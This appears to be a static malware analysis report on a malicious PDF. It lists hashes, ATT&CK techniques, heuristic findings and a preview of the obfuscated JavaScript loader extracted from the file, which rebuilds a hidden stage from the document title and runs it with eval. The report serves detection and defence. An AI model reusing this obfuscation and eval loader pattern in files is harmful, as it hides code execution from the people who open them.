Malicious PDF — malware analysis report

Static analysis result for SHA-256 73aba0fdb75762cb…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 38d63762e1e93abbce7b24efa3cfa5b1 SHA-1: 5b2ad10dd3299842d02ba705685b96fd104b2fab SHA-256: 73aba0fdb75762cbbe638e9d6ce257a042f8dda068fdfddc4453d2548fbc5035
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs a string by concatenating parts of a document title and then uses it to execute further code, likely downloading and running a second-stage payload. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFC8 481 bytes
SHA-256: 112d4809e1d5eb34c31532f61945d48fbc58ad3ff5e32616848ba3a814345afe
Preview script
First 1,000 lines of the extracted script
hxkh='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
pmc=e('ti'+'tle');
s=pmc.substr(t.length + 8,3)+'str';
q=pmc[s](1,(1,t.length + 7));
zjfu=e('S'+'tring.fro'+q);
q=pmc[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	iiq = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	hxkh += zjfu(iiq);
}
e(hxkh);

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